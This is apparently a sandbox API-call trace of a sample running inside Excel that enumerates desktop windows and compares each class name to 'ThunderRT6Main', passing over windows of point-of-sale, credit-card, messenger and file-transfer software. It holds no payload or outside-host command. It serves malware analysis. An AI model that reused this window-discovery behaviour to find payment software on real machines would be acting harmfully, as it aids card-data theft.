[0178.671] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0178.671] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0178.671] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0178.671] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0178.672] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4fb2a10 [0178.672] IMalloc:Free (This=0x7fefecb5380, pv=0x4fb2a10) [0181.690] GetAsyncKeyState (vKey=27) returned 0 [0181.690] GetCurrentThreadId () returned 0xbdc [0181.690] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0181.690] GetDesktopWindow () returned 0x10010 [0181.691] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0181.691] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0181.691] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0181.692] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0181.692] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0181.692] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0181.692] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0181.692] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0181.692] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0181.692] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0181.692] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0181.692] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0181.693] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0181.693] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0181.693] IsWindowEnabled (hWnd=0x20360) returned 0 [0181.693] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0181.693] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0181.693] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0181.693] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0181.693] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0181.693] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0181.693] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.693] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0181.693] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0181.693] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0181.693] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0181.693] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0181.693] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0181.693] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0181.693] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0181.693] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.694] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0181.694] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0181.694] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0181.694] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0181.694] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0181.694] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0181.694] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.694] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0181.694] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0181.694] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0181.694] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0181.694] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0181.694] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0181.694] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.694] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0181.694] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0181.694] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0181.694] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0181.694] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0181.694] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0181.694] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.694] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0181.694] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0181.694] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0181.694] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0181.694] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0181.694] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0181.694] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0181.694] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0181.694] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0181.694] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0181.695] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.695] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0181.695] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0181.695] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0181.695] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0181.695] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0181.695] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0181.695] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.695] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0181.695] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.695] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.695] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0181.695] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0181.695] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0181.695] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0181.695] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0181.695] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0181.695] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0181.695] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0181.695] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.695] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0181.695] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0181.695] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0181.695] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0181.695] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0181.695] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0181.695] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0181.695] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.695] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.695] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.696] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0181.696] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0181.696] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0181.696] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.696] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0181.696] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0181.696] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0181.696] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.696] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0181.696] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.696] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.696] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.696] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0181.696] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.696] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.696] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.696] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0181.696] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.696] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.696] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.696] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0181.696] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0181.696] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0181.696] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.696] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0181.696] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.696] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.697] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0181.697] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0181.697] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0181.697] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0181.697] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0181.697] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0181.697] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0181.697] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0181.697] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0181.697] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0181.697] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.697] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.697] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0181.697] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0181.697] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0181.697] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0181.697] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0181.697] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0181.697] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.697] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.697] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0181.697] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0181.697] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0181.697] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0181.697] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0181.697] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0181.697] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.697] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.698] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0181.698] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0181.698] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0181.698] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0181.698] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0181.698] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0181.698] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.698] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.698] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0181.698] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0181.698] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0181.698] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0181.698] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0181.698] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0181.698] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.698] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.698] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0181.698] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0181.698] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0181.698] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0181.698] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0181.698] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0181.698] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.698] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.698] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0181.698] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0181.698] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0181.698] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0181.699] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0181.699] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0181.699] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.699] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.699] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0181.699] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0181.699] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0181.699] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0181.699] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0181.699] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0181.699] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.699] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.699] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0181.699] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0181.699] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0181.699] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0181.699] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0181.699] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0181.699] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.699] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.699] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0181.699] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0181.699] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0181.699] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0181.699] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0181.699] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0181.700] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.700] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.700] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0181.700] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0181.700] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0181.700] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0181.700] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0181.700] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0181.700] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.700] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.700] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0181.700] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0181.700] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0181.700] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0181.700] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0181.700] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0181.700] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.700] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.700] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0181.700] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0181.700] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0181.700] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0181.700] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0181.700] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0181.700] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.700] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.700] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0181.700] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0181.701] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0181.701] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0181.701] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0181.701] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0181.701] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.701] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.701] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0181.701] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0181.701] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0181.701] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0181.701] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0181.701] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0181.701] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.701] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.701] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0181.701] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0181.701] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0181.701] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0181.701] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0181.701] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0181.701] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.701] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.701] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0181.701] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0181.701] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0181.701] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0181.701] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0181.702] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0181.702] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.702] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.702] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0181.702] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0181.702] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0181.702] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0181.702] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0181.702] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0181.702] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.702] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.702] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0181.702] 